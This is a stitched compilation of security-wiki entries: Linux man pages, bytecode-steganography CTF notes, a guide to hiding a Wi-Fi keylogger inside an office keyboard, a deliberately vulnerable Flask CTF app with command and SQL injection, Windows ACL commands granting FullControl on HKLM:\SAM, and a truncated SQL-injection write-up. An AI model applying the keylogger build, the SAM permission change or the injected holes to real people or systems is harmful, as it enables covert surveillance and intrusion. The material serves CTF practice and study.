.\" Copyright 1998 Andries E. Brouwer ([email protected]) .\" .\" May be distributed under the GNU General Public License .\" Rewritten for 2.1.117, aeb, 981010. .\" .TH MKSWAP 8 "25 March 1999" "Linux 2.2.4" "Linux Programmer's Manual" .SH NAME mkswap \- 建立一个linux交换区 .SH 总览 .BI "mkswap [\-c] [\-v" N "] [\-f] " device " [" size "]" .SH 描述 .B mkswap 在一个设备上或者在一个文件里创建一个linux交换区。 (该交换区创建后,必须使用 .B swapon 命令来启用它。通常交换区被列在 .I /etc/fstab 中,从而使得在启动时可通过某些启动脚本中的 .B swapon -a 命令来启用。) 参数 .I device 通常是一个磁盘分区(类似于 .I /dev/hda4 或者 .IR /dev/sdb7 ),但也可以是一个文件。 Linux内核不会着眼于分区号,但是一些安装脚本会假定类型为 16进制的82(LINUX_SWAP)的分区意味着交换分区。 参数 .I size 是多余的,但为了向兼容性而被保留。(它指定期望的以1024 字节为单位的交换区大小。如果它未被指定, .B mkswap 将使用整个分区或者文件。错误地使用"-a"选项将会损坏您的磁盘。) Linux能理解两种类型的交换区:旧类型和新类型。交换区第一页的最后 10个字节区分两种类型:旧类型以"SWAP_SPACE",新类型以"SWAPSPACE2" 作标识。 在旧类型里,第一页的其它部分是一个位图,每一位指出交换区中的可 用页面。因为第一页保存位图,所以第一位为0。同样的,最后10位保存 标识。所以,如果页面大小为S,旧类型交换区可以描述最多8*(S-10)-1 个可用于交换的页面。对于S=4096(象i386上),最大可用区域是 133890048字节(如果1 MB=2^20 bytes,则差不多为128 MB),而其他部 分将被浪费。在alpha和sparc64上,S=8192,最大可用区域是535560992字 节(与上述同样条件下,差不多为512 MB)。 因为零位表示坏的块或者超过交换区末尾的块,旧的设置浪费了大部分的 位图页面,一个简单的整数就可以满足指出交换区大小的需要,而且如果 有坏的块,也可以简单的列出来。没有人想使用有许多坏块的交换区(我 甚至不会使用包含一个坏块的交换空间)。在新类型交换区正好是这样做 的。现在交换区的最大可用数目取决于具体结构。大致来说,在i386, PPC, m68k, ARM上为2GB,在sparc上为1GB,在mips上为512MB,在alpha 上为128GB,在sparc64上为3TB。 注意在2.1.117内核之前,每一页分配一个字节,而现在为两个字节,所 以为了获得2GB的可用交换区,可能需要2MB的核心内存。 目前,Linux允许8个交换区。这些正在使用的区域可从文件 .I /proc/swaps (从2.1.25起)中查到。 .B mkswap 不允许小于10个页面的区域。 如果不知道您的机器所用的页面大小,可以用"cat /proc/cpuinfo"来查 看(或者不能查看 - 这个文件的内容取决于系统结构和内核版本)。 为了设置一个交换文件,需要在执行 .B mkswap , 前创建这个文件,例如,象如下命令: .nf .RS # dd if=/dev/zero of=swapfile bs=1024 count=65536 .RE .fi 注意一个交换文件必须不包括任何空洞(所以,不能使用 .BR cp (1) 来创建该文件)。 .SH 选项 .TP .B \-c 在创建交换区之前检查设备(如果是块设备)的坏块。 如果发现任何坏块,坏块的总数将被打印出来。 .TP .B \-f 强行向前执行,即使该命令是愚蠢的。该选项允许建立比 所在的文件或者分区还大的交换区。在SPARC上,强行创建 交换区。无该选项的 .B mkswap 将拒绝在包含有效的SPARC超 级块的设备上创建vo交换区,因为那样可能意味着将删除 分区表。 .TP .B \-v0 创建一个旧类型的交换区。 .TP .B \-v1 创建一个新类型的交换区。 .LP 如果未指定-v选项,而且交换区大小没有超过旧类型交换区 的最大值,同时当前内核比2.1.117老(且PAGE_SIZE小于 2048), .B mkswap 将默认创建旧类型的交换区。万一您的引导分区或者磁盘卷 标在第一块,新类型的头部将不接触那些部分,所以可能更 好(如果同样交换区较小), .SH "参考" .BR fdisk (8), .BR swapon (8)
sec-knowleage
/* * Copyright 2015-2017 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package example.springdata.rest.headers; import org.springframework.data.repository.CrudRepository; import org.springframework.web.bind.annotation.CrossOrigin; /** * Spring Data repository interface to manage {@link Customer} instances. * * @author Oliver Gierke * @author Mark Paluch * @soundtrack The Intersphere - Out of phase (Live at Alte Feuerwache Mannheim) */ @CrossOrigin(origins = { "http://localhost", "http://localhost:1234" }) public interface CustomerRepository extends CrudRepository<Customer, Long> {}
sec-knowleage
### pyc文件的code object介绍 > 在我们导入 python 脚本时在目录下会生成个一个相应的 pyc 文件,是pythoncodeobj的持久化储存形式,加速下一次的装载。 ### pyc文件的文件结构 pyc文件由三大部分组成 - 最开始4个字节是一个Maigc int, 标识此pyc的版本信息 - 接下来四个字节还是个int,是pyc产生的时间 - 序列化的 PyCodeObject,结构参照[include/code.h](https://github.com/python/cpython/blob/master/Include/code.h),序列化方法[python/marshal](https://github.com/python/cpython/blob/master/Python/marshal.c) ### pyc完整的文件解析参照 - [Python程序的执行原理](http://python.jobbole.com/84599/) - [PYC文件格式分析](http://kdr2.com/tech/python/pyc-format.html) ### 关于co_code介绍 一串二进制流,代表着指令序列,具体定义在[include/opcode.h](https://github.com/python/cpython/blob/fc7df0e664198cb05cafd972f190a18ca422989c/Include/opcode.h)中,也可以参照[python opcodes](http://unpyc.sourceforge.net/Opcodes.html)。 由 - 指令(opcode),分为有参数和无参数两种,以 https://github.com/python/cpython/blob/fc7df0e664198cb05cafd972f190a18ca422989c/Include/opcode.h#L69 划分 - 参数(oparg) python3.6 以上参数永远占1字节,如果指令不带参数的话则以`0x00`代替,在运行过程中被解释器忽略,也是**Stegosaurus**技术原理;而低于python3.5的版本中指令不带参数的话却没有`0x00`填充 ### pyc文件的相关例题解析 **[Hackover CTF 2016 : img-enc](https://github.com/ctfs/write-ups-2016/tree/master/hackover-ctf-2016/forensics/img-enc)** 首先尝试pycdc反编译失败 ```python # Source Generated with Decompyle++ # File: imgenc.pyc (Python 2.7) import sys import numpy as np from scipy.misc import imread, imsave def doit(input_file, output_file, f): Unsupported opcode: STOP_CODE img = imread(input_file, flatten = True) img /= 255 size = img.shape[0] # WARNING: Decompyle incomplete ``` 注意到是python2.7,也就是说指令序列共占1字节或3字节(有参数无参数) 使用pcads得到 ```xml imgenc.pyc (Python 2.7) ... 67 STOP_CODE 68 STOP_CODE 69 BINARY_DIVIDE 70 JUMP_IF_TRUE_OR_POP 5 73 LOAD_CONST 3: 0 76 LOAD_CONST 3: 0 79 BINARY_DIVIDE ``` 定位到出错的地方,观察发现 `LOAD_CONST LOAD_CONST BINARY_DIVIDE STORE_FAST opcodes (64 03 00 64 03 00 15 7d 05 00)`被破坏了,根据上下文线索修复后 ```xml 00000120 64 04 00 6b 00 00 72 ce 00 64 03 00 64 03 00 15 |d..k..r..d..d...| 00000130 7d 05 00 64 03 00 64 03 00 15 7d 05 00 64 03 00 |}..d..d...}..d..| 00000140 64 03 00 15 7d 05 00 64 03 00 64 03 00 15 7d 05 |d...}..d..d...}.| 00000150 00 64 03 00 64 03 00 15 7d 05 00 64 03 00 64 03 |.d..d...}..d..d.| 00000160 00 15 7d 05 00 64 03 00 64 03 00 15 7d 05 00 64 |..}..d..d...}..d| 00000170 03 00 64 03 00 15 7d 05 00 64 03 00 64 03 00 15 |..d...}..d..d...| 00000180 7d 05 00 64 03 00 64 03 00 15 7d 05 00 64 03 00 |}..d..d...}..d..| 00000190 64 03 00 15 7d 05 00 64 03 00 64 03 00 15 7d 05 |d...}..d..d...}.| 000001a0 00 64 03 00 64 03 00 15 7d 05 00 64 03 00 64 03 |.d..d...}..d..d.| 000001b0 00 15 7d 05 00 64 03 00 64 03 00 15 7d 05 00 6e |..}..d..d...}..n| ``` 接下来根据修复好的python源代码得到flag即可 ### pyc文件的相关例题: - 题目: [0ctf-2017:py](https://github.com/ctfs/write-ups-2017/tree/master/0ctf-quals-2017/reverse/py-137) - writeup: [记一次手撸CPython bytecode](http://0x48.pw/2017/03/20/0x2f/) ### pyc文件的Tools使用 #### [pycdc](https://github.com/zrax/pycdc) > 将python字节码转换为可读的python 源代码,包含了反汇编(pycads)和反编译(pycdc)两种工具 #### [Stegosaurus](https://github.com/AngelKitty/stegosaurus) > Stegosaurus 是一款隐写工具,它允许我们在 Python 字节码文件( pyc 或 pyo )中嵌入任意 Payload。由于编码密度较低,因此我们嵌入 Payload 的过程既不会改变源代码的运行行为,也不会改变源文件的文件大小。 Payload 代码会被分散嵌入到字节码之中,所以类似 strings 这样的代码工具无法查找到实际的 Payload。 Python 的 dis 模块会返回源文件的字节码,然后我们就可以使用 Stegosaurus 来嵌入 Payload 了。 原理是在 python 的字节码文件中,利用冗余空间,将完整的 payload 代码分散隐藏到这些零零碎碎的空间中。 具体用法可参看 [ctf-tools](https://ctf-wiki.github.io/ctf-tools/misc/)。
sec-knowleage
# HID-KeyboardLogger > 文章作者 [Sarah-Briggs](https://github.com/Sarah-Briggs) & [Atomic-Crash](https://github.com/Atomic-Crash) & [r0fus0d](https://github.com/No-Github) <p align="center"> <img src="../../../../../assets/img/banner/HID-KeyboardLogger.jpg"> </p> --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **文章/教程** - [手把手教你DIY一个硬件键盘记录器](https://www.freebuf.com/geek/241398.html) **资源** - [spacehuhn/wifi_keylogger](https://github.com/spacehuhn/wifi_keylogger) --- ## 简介 基于上一次Usbkeylogger(无线键盘记录器)的制作,我们发现了一些使用时的不便,或者说是还有可改进的方面(指隐蔽性),本次就针对上一次的DIY进行升级,将其直接和使用载体——键盘合为一体。 如果说在一般环境下,在他人的键盘到主机之间插上一个形如优盘的硬件看起来很可疑,尤其是输入设备的USB接口在主机正前方或者主机的USB接口处不那么"隐蔽"的。 像在这种环境下,你拿这个奇形怪状的记录器去插别人的主机或者笔记本电脑,实在是有点明显。 考虑到并不人人都是机械键盘爱好者,大多数普通人对于电脑的键盘是不那么敏感的,所以我们干脆将无线键盘记录器植入一把普通的不能再普通的办公键盘: 质朴的商务黑,加上它天真无邪的外形,几乎和学校的微机室、单位员工电脑、甚至企业机房里的键盘都没有太大区别。 将无线键盘记录器集成在它内部线路板上,不仅可以完美将其隐藏在键盘内部,最重要的是可以利用键盘外壳作为掩护,给记录器本体加装增益天线,可大幅度加快连接速度和范围。 --- ## 制作过程 ### 键盘改装设计 首先是键盘主体部分,这里我们选作示例的是一款联想品牌的SK-8827办公键盘,无论颜色还是造型,它的外观和大多数普通电脑用户的键盘基本一致,让人没有任何怀疑它的理由。 将其拆开,就可以看到它的内部结构了,本设计主要做改线,所以这里的展示只需要看右上角的那块矩形电路板。 键盘记录器的输入端和输出端是USB公母头,我们可以改变其电路走线、重新焊接,使记录器整体可以藏在外壳里,并且保持键盘原来的出线。(在实际改装中,各品牌各型号的键盘内部走线都有所区别,因此这里不给出本次具体的接线电路图) 最后将整个成品成功嵌入键盘: --- ### 加装天线 在本次的改良中,天线部分是提升性能的关键; 原先的无线键盘记录器的工作有效范围大约只有3~5米,并且连接其wifi热点的速度有些堪忧(有时可以秒连,也可能卡在"正在获取IP地址"最长达1分钟); 通过加装合适的增益天线,现已将其有效工作范围提升至50米;对,你没听错,是50米,是原先的10倍增长,而且就算拉到50米处,wifi信号才只是减少了仅一格,并且基本不影响数据接收的速度。 这里说的天线当然不是那种体型巨大的金属支架,经过我们多次拆换调试,最终找到了一款只有牙签大小且完美适配的增益天线: 这是一款FPC材质的双频软天线,生产商是广东的一家小作坊,故没有具体品名及型号。 PFC即 Flexible Printed Circuit (柔性印刷电路板),所挑选的这一款的PFC背部有软胶,可以粘附在附近的物体上,以达到固定方向、稳固不易摇晃的辅助作用。 该天线的增益量为3~8dbi,dBi是功率增益的单位,是一个相对值,dBi的参考基准为全方向性天线(可近似理解成是一个圈状范围),这里只叙述本天线的实际应用,不过多介绍原理等相关内容。 将天线的底座和记录器的CPU——ESP8266的外置天线端口对接: 由于记录器本身的体积不大,就算接上这款增益天线后,还是可以将它们一起轻松内置在键盘内部。 注意这里红圈处就是内嵌的天线: 最后按孔贴回导电薄膜和软胶垫,合上塑料外壳,将螺丝拧好。完美! 那么现在这把看似平平无奇、人畜无害的键盘就成了一款"杀人不见血"的HID攻击利器,任何人使用这把键盘在主机上的一切按键操作都将可以被最远在50米处的攻击者悄悄记录。 由于它本身朴素的造型,很难吸引使用者的目光,几乎无法引起目标的怀疑。 --- ## 使用 - https://www.youtube.com/watch?v=Vi3oBdMW3lU
sec-knowleage
vi === 功能强大的纯文本编辑器 ## 补充说明 **vi命令** 是UNIX操作系统和类UNIX操作系统中最通用的全屏幕纯文本编辑器。Linux中的vi编辑器叫vim,它是vi的增强版(vi Improved),与vi编辑器完全兼容,而且实现了很多增强功能。 vi编辑器支持编辑模式和命令模式,编辑模式下可以完成文本的编辑功能,命令模式下可以完成对文件的操作命令,要正确使用vi编辑器就必须熟练掌握着两种模式的切换。默认情况下,打开vi编辑器后自动进入命令模式。从编辑模式切换到命令模式使用“esc”键,从命令模式切换到编辑模式使用“A”、“a”、“O”、“o”、“I”、“i”键。 vi编辑器提供了丰富的内置命令,有些内置命令使用键盘组合键即可完成,有些内置命令则需要以冒号“:”开头输入。常用内置命令如下: ```shell Ctrl+u:向文件首翻半屏; Ctrl+d:向文件尾翻半屏; Ctrl+f:向文件尾翻一屏; Ctrl+b:向文件首翻一屏; Esc:从编辑模式切换到命令模式; ZZ:命令模式下保存当前文件所做的修改后退出vi; :行号:光标跳转到指定行的行首; :$:光标跳转到最后一行的行首; x或X:删除一个字符,x删除光标后的,而X删除光标前的; D:删除从当前光标到光标所在行尾的全部字符; dd:删除光标行正行内容; ndd:删除当前行及其后n-1行; nyy:将当前行及其下n行的内容保存到寄存器?中,其中?为一个字母,n为一个数字; p:粘贴文本操作,用于将缓存区的内容粘贴到当前光标所在位置的下方; P:粘贴文本操作,用于将缓存区的内容粘贴到当前光标所在位置的上方; /字符串:文本查找操作,用于从当前光标所在位置开始向文件尾部查找指定字符串的内容,查找的字符串会被加亮显示; ?字符串:文本查找操作,用于从当前光标所在位置开始向文件头部查找指定字符串的内容,查找的字符串会被加亮显示; a,bs/F/T:替换文本操作,用于在第a行到第b行之间,将F字符串换成T字符串。其中,“s/”表示进行替换操作; a:在当前字符后添加文本; A:在行末添加文本; i:在当前字符前插入文本; I:在行首插入文本; o:在当前行后面插入一空行; O:在当前行前面插入一空行; :wq:在命令模式下,执行存盘退出操作; :w:在命令模式下,执行存盘操作; :w!:在命令模式下,执行强制存盘操作; :q:在命令模式下,执行退出vi操作; :q!:在命令模式下,执行强制退出vi操作; :e文件名:在命令模式下,打开并编辑指定名称的文件; :n:在命令模式下,如果同时打开多个文件,则继续编辑下一个文件; :f:在命令模式下,用于显示当前的文件名、光标所在行的行号以及显示比例; :set number:在命令模式下,用于在最左端显示行号; :set nonumber:在命令模式下,用于在最左端不显示行号; ``` ### 语法 ```shell vi(选项)(参数) ``` ### 选项 ```shell +<行号>:从指定行号的行开始显示文本内容; -b:以二进制模式打开文件,用于编辑二进制文件和可执行文件; -c<指令>:在完成对第一个文件编辑任务后,执行给出的指令; -d:以diff模式打开文件,当多个文件编辑时,显示文件差异部分; -l:使用lisp模式,打开“lisp”和“showmatch”; -m:取消写文件功能,重设“write”选项; -M:关闭修改功能; -n:不实用缓存功能; -o<文件数目>:指定同时打开指定数目的文件; -R:以只读方式打开文件; -s:安静模式,不现实指令的任何错误信息。 ``` ### 参数 文件列表:指定要编辑的文件列表。多个文件之间使用空格分隔开。 ## 知识扩展 vi编辑器有三种工作方式:命令方式、输入方式和ex转义方式。通过相应的命令或操作,在这三种工作方式之间可以进行转换。 **命令方式** 在Shell提示符后输入命令vi,进入vi编辑器,并处于vi的命令方式。此时,从键盘上输入的任何字符都被作为编辑命令来解释,例如,a(append)表示附加命令,i(insert)表示插入命令,x表示删除字符命令等。如果输入的字符不是vi的合法命令,则机器发出“报警声”,光标不移动。另外,在命令方式下输入的字符(即vi命令)并不在屏幕上显示出来,例如,输入i,屏幕上并无变化,但通过执行i命令,编辑器的工作方式却发生变化:由命令方式变为输入方式。 **输入方式** 通过输入vi的插入命令(i)、附加命令(a)、打开命令(o)、替换命令(s)、修改命令(c)或取代命令(r)可以从命令方式进入输入方式。在输入方式下,从键盘上输入的所有字符都被插入到正在编辑的缓冲区中,被当做该文件的正文。进入输入方式后,输入的可见字符都在屏幕上显示出来,而编辑命令不再起作用,仅作为普通字母出现。例如,在命令方式下输入字母i,进到输入方式,然后再输入i,就在屏幕上相应光标处添加一个字母i。 由输入方式回到命令方式的办法是按下Esc键。如果已在命令方式下,那么按下Esc键就会发出“嘟嘟”声。为了确保用户想执行的vi命令是在命令方式下输入的,不妨多按几下Esc键,听到嘟声后再输入命令。 **ex转义方式** vi和ex编辑器的功能是相同的,二者的主要区别是用户界面。在vi中,命令通常是单个字母,如a,x,r等。而在ex中,命令是以Enter;键结束的命令行。vi有一个专门的“转义”命令,可访问很多面向行的ex命令。为使用ex转义方式,可输入一个冒号(:)。作为ex命令提示符,冒号出现在状态行(通常在屏幕最下一行)。按下中断键(通常是Del键),可终止正在执行的命令。多数文件管理命令都是在ex转义方式下执行的(例如,读取文件,把编辑缓冲区的内容写到文件中等)。转义命令执行后,自动回到命令方式。例如: ```shell :1,$s/I/i/g 按Enter键 ``` 则从文件第一行至文件末尾($)将大写I全部替换成小写i。vi编辑器的三种工作方式之间的转换如图所示。 !vi
sec-knowleage
from flask import Flask, abort, redirect, request, Response import base64, json, MySQLdb, os, re, subprocess app = Flask(__name__) home = ''' <title>Magical Image Gallery</title> <h1>Magical Image Gallery</h1> $ALBUMS$ ''' viewAlbum = ''' <title>$TITLE$ -- Magical Image Gallery</title> <h1>$TITLE$</h1> $GALLERY$ ''' def getDb(): return MySQLdb.connect(host="localhost", user="root", password="", db="level5") def sanitize(data): return data.replace('&amp;', '&amp;').replace('&lt;', '&lt;').replace('&gt;', '&gt;').replace('"', '"') @app.route('/') def index(): cur = getDb().cursor() cur.execute('SELECT id, title FROM albums') albums = list(cur.fetchall()) rep = '' for id, title in albums: rep += '<h2>%s</h2>\n' % sanitize(title) rep += '<div>' cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, )) fns = [] for pid, ptitle, pfn in cur.fetchall(): rep += '<div><img src="fetch?id=%i" width="266" height="150"><br>%s</div>' % (pid, sanitize(ptitle)) fns.append(pfn) rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '</i>' rep += '</div>\n' return home.replace('$ALBUMS$', rep) @app.route('/fetch') def fetch(): cur = getDb().cursor() if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0: abort(404) # It's dangerous to go alone, take this: # ^FLAG^FLAG0$FLAG$ return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read() if __name__ == "__main__": app.run(host='0.0.0.0', port=80)
sec-knowleage
# ACL --- ## 什么是 ACL windows 系统中的 ACL(Access Control List),用来表示组与用户权限的列表。比如文件、注册表的权限都包括 ACL,它用来表示哪些组与用户具有操作权限,其实主要是一组规则,定义哪些组与用户等对特定 AD 对象具有哪些权限。 **ACL** Access Control List,用来表示用户(组)权限的列表,包括 DACL 和 SACL; **ACE** Access Control Entry,ACL 中的元素; **DACL** Discretionary Access Control List,用来表示安全对象权限的列表; **SACL** System Access Control List,用来记录对安全对象访问的日志; --- 具体实现对某个文件进行访问,系统将做以下判断: - 无 DACL,系统将允许访问,也就是系统内的所有组与用户都没有做限制; - 有 DACL,无 ACE,系统将拒绝所有访问,也就是系统内的组与用户有限制,但是没有 ACE 也就是不允许任何操作; - 有 DACL,有 ACE,将就是按照 ACE 的内容去执行相应组与用户的限制,只有对应的 ACE 可以进行操作; 查看文件的 ACL 选择一条 DACL 包含多个 ACE,表示具有的权限如下 --- ## 针对 ACL 的操作 ### icacls 操作 ACL 查看指定文件的 ACL ``` icacls C:\test.txt ``` 其中(OI)代表对象继承 (CI)代表容器继承 (F)代表完全访问: 备份指定文件 (包括当前目录及其子目录中的文件) 的 ACL ``` icacls C:\test.txt /save AclFile /t ``` 还原指定文件(包括当前目录及其子目录中的文件)的ACL(注意这里还原的路径需要为先前备份的路径的上一级) ``` icacls C:\ /restore AclFile /t ``` 添加用户对指定文件的完全访问权限 ``` icacls C:\test.txt /grant test:(OI)(CI)(F) /t ``` 移除用户对指定文件(包括当前目录及其子目录中的文件)的完全访问权限 ``` icacls C:\test.txt /remove test1 /t ``` --- ### powershell 操作 ACL 查看指定路径的ACL ``` Get-Acl -Path 'C:\test'| Format-Table -wrap ``` 添加用户 test1 对指定文件的完全访问权限 ``` function Add-ACL{ [CmdletBinding()] Param ( [Parameter(Mandatory = $True)] [String] [ValidateNotNullOrEmpty()] $Path ) $acl = Get-Acl -Path $Path $person = [System.Security.Principal.NTAccount]"test1" $access = [System.Security.AccessControl.FileSystemRights]"FullControl" $inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit" $propagation = [System.Security.AccessControl.PropagationFlags]"None" $type = [System.Security.AccessControl.AccessControlType]"Allow" $rule = New-Object System.Security.AccessControl.FileSystemAccessRule( ` $person,$access,$inheritance,$propagation,$type) $acl.AddAccessRule($rule) Set-Acl $Path $acl } Add-ACL -Path 'C:\test' ``` 移除用户 test1 对指定文件的完全访问权限 ``` function Remove-ACL{ [CmdletBinding()] Param ( [Parameter(Mandatory = $True)] [String] [ValidateNotNullOrEmpty()] $Path ) $acl = Get-Acl -Path $Path $person = [System.Security.Principal.NTAccount]"test1" $access = [System.Security.AccessControl.FileSystemRights]"FullControl" $inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit" $propagation = [System.Security.AccessControl.PropagationFlags]"None" $type = [System.Security.AccessControl.AccessControlType]"Allow" $rule = New-Object System.Security.AccessControl.FileSystemAccessRule( ` $person,$access,$inheritance,$propagation,$type) $acl.RemoveAccessRule($rule) Set-Acl $Path $acl } Remove-ACL -Path 'C:\test' ``` 添加用户test1对指定文件(包括当前目录及其子目录中的文件)的完全访问权限 ``` function Add-ACL{ [CmdletBinding()] Param ( [Parameter(Mandatory = $True)] [String] [ValidateNotNullOrEmpty()] $Path ) $acl = Get-Acl -Path $Path $person = [System.Security.Principal.NTAccount]"test1" $access = [System.Security.AccessControl.FileSystemRights]"FullControl" $inheritance = [System.Security.AccessControl.InheritanceFlags]"None" $propagation = [System.Security.AccessControl.PropagationFlags]"None" $type = [System.Security.AccessControl.AccessControlType]"Allow" $rule = New-Object System.Security.AccessControl.FileSystemAccessRule( ` $person,$access,$inheritance,$propagation,$type) $acl.AddAccessRule($rule) Set-Acl $Path $acl } Add-ACL -Path 'C:\test' $fileList = Get-ChildItem 'C:\test' -recurse Foreach($file in $fileList) { $file.fullname Add-ACL -Path $file.fullname } ``` 移除用户test1对指定文件(包括当前目录及其子目录中的文件)的完全访问权限 ``` function Remove-ACL{ [CmdletBinding()] Param ( [Parameter(Mandatory = $True)] [String] [ValidateNotNullOrEmpty()] $Path ) $acl = Get-Acl -Path $Path $person = [System.Security.Principal.NTAccount]"test1" $access = [System.Security.AccessControl.FileSystemRights]"FullControl" $inheritance = [System.Security.AccessControl.InheritanceFlags]"None" $propagation = [System.Security.AccessControl.PropagationFlags]"None" $type = [System.Security.AccessControl.AccessControlType]"Allow" $rule = New-Object System.Security.AccessControl.FileSystemAccessRule( ` $person,$access,$inheritance,$propagation,$type) $acl.RemoveAccessRule($rule) Set-Acl $Path $acl } Remove-ACL -Path 'C:\test' $fileList = Get-ChildItem 'C:\test' -recurse Foreach($file in $fileList) { Remove-ACL -Path $file.fullname } ``` --- ### 注册表操作 ACL 查看指定路径的ACL: ``` Get-Acl -Path 'HKLM:\SAM'| Format-Table -wrap ``` 获得Access项的具体内容: ``` $acl = Get-Acl -Path 'HKLM:\SAM' $acl.Access ``` 添加用户test1对指定路径(包括当前注册表项及其子健)的完全访问权限 ``` $acl = Get-Acl HKLM:\SAM $person = [System.Security.Principal.NTAccount]"test1" $access = [System.Security.AccessControl.RegistryRights]"FullControl" $inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit" $propagation = [System.Security.AccessControl.PropagationFlags]"None" $type = [System.Security.AccessControl.AccessControlType]"Allow" $rule = New-Object System.Security.AccessControl.RegistryAccessRule( ` $person,$access,$inheritance,$propagation,$type) $acl.AddAccessRule($rule) Set-Acl HKLM:\SAM $acl ``` 移除用户test1对指定路径(包括当前注册表项及其子健)的完全访问权限 ``` $acl = Get-Acl HKLM:\SAM $person = [System.Security.Principal.NTAccount]"test1" $access = [System.Security.AccessControl.RegistryRights]"FullControl" $inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit" $propagation = [System.Security.AccessControl.PropagationFlags]"None" $type = [System.Security.AccessControl.AccessControlType]"Allow" $rule = New-Object System.Security.AccessControl.RegistryAccessRule( ` $person,$access,$inheritance,$propagation,$type) $acl.RemoveAccessRule($rule) Set-Acl HKLM:\SAM $acl ``` --- **Source & Reference** - [关于windows下的ACL与dcsync](https://my.oschina.net/u/4587690/blog/4696089) - [渗透技巧——Windows下的Access Control List](https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E4%B8%8B%E7%9A%84Access-Control-List/)
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH HOSTID 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 hostid \- 显示当前主机的数字标识符 .SH 概述 \fBhostid\fP [\fI\,选项\/\fP] .SH 描述 .\" Add any additional description here .PP 显示当前主机的数字标识符(十六进制)。 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .SH 作者 由 Jim Meyering 编写。 .SH 报告错误 GNU coreutils 的在线帮助:<https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br 本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。 .SH 参见 \fBgethostid\fP(3) .PP .br 完整文档请见: <https://www.gnu.org/software/coreutils/hostid> .br 或者在本地使用: info \(aq(coreutils) hostid invocation\(aq
sec-knowleage
## Illuminati (Web, 200p) ###ENG [PL](#pl-version) In the task we get access to a Illuminati recruitment webpage. However the recruitment is closed and we can only send messages to the admin and he might accept us. We could see only our own messages. Our first assumption was that it's some standard XSS attack on the admin, but placing some example XSS payload in the form uncovered an SQL error printed. This meant we have an SQL Injection vulnerability. The form had 2 fields: - subject limited to 40 characters (verified server side) - message with no length limit Both of them were exploitable with a `"`. The injection point was an `INSERT INTO` query, which limited a bit our capabilities. More so that initially we though we have to exploit the `subject` field doing some crazy SQL golfing in 40 characters, since we could not inject a `select` into the second field due to query construction. The query was something like: `insert into requests (id, "$subject", "$message")` Which means that the message field content was either inside quotation marks, or if we close the quotation mark, already outside insert query. We could chain another insert values but we didn't know the ID and thus we would not see the contents of this second insert query. For a moment we though we will have to make a blind sqli here, but fortunately we came up with a great idea - why not chain injections from both fields at the same time, putting an injection in `subject` which will `shift` the column to the `message` field, lifting the 40 characters limit. We figured we can put for example the subject as: ``` theSubject",concat( ``` and message as: ``` ,(select whatever we want)))# ``` And therefore we escape the quotation marks by concat of empty string and our query result! This way we could now execute any query we wanted, so we dumped the whole database via group_concat and substring. The passwords, including the admin password, were hashed and not likely to be broken. Rest of the database did not contain anything particularly useful. We thought that maybe we could update the admin password to our own password hash (hoping the passwords are not salted with username as salt), but we did not have rights to do it. It took us a while to notice that the session cookie for this task was very particular - it helped that we developed a simple python script to send queries, and thus we had session cookie as parameter. The cookie was a number plus our user ID, which is quite odd. So we figured that maybe it's possible to forge admin cookie. In the database in users table there was a strange field with `last login timestamp`. Timestamps are often used as random seeds so we checked what random can we get using our timestamp as seed and we got our missing cookie part! Therefore, we finally extracted admin login timestamp from database via SQL Injection, we seeded random with the value, took the generated random int, glued it with admin user ID and got the final cookie `1229569179-209`, which was enough to get us logged in as admin and get the flag. ###PL version W zadaniu dostajemy dostęp do strony rekrutacyjnej Illuminatów. Jednakże rekrutacja jest zamknięta i możemy jedynie wysłać wiadomość do admina, który może nas zaakceptuje. Możemy widzieć tylko nasze własne wiadomości. Nasze pierwsze skojarzenie to oczywiście standardowy atak XSS na admina, jednakże przykładowy payload XSS w formularzu sprawił że naszym oczom ukazał się błąd SQLa. To oznaczało, że podatność stanowi jednak SQL Injection. Formularz miał 2 pola: - temat z limitem 40 znaków (sprawdzane po stronie serwera) - wiadomość bez limitu długości Oba pola były exploitowalne przez `"`. Punktem wstrzyknięcia było zapytanie `INSERT INTO` co trochę ograniczało nasze możliwości. Dodatkowo początkowo myśleliśmy, że możemy użyć efektywnie tylko pola `subject` i trzeba będzie robić jakiś ciężki SQL golfing na 40 znaków, ponieważ nie mogliśmy wstrzyknąć `select` do drugiego pola ze względu na budowę zapytania. Zapytanie miało postać: `insert into requests (id, "$subject", "$message")` Co oznaczało, że zawartość pola message była albo wewnatrz cudzysłowów, albo jeśli je domknęliśmy, poza danymi do insertowania. Moglibyśmy co prawda dołączyć kolejny zestaw danych dla insert, ale nie znaliśmy wartości ID i nie moglibyśmy zobaczyć wyniku tego drugiego zapytania. Początkowo myśleliśmy, że skończy się na 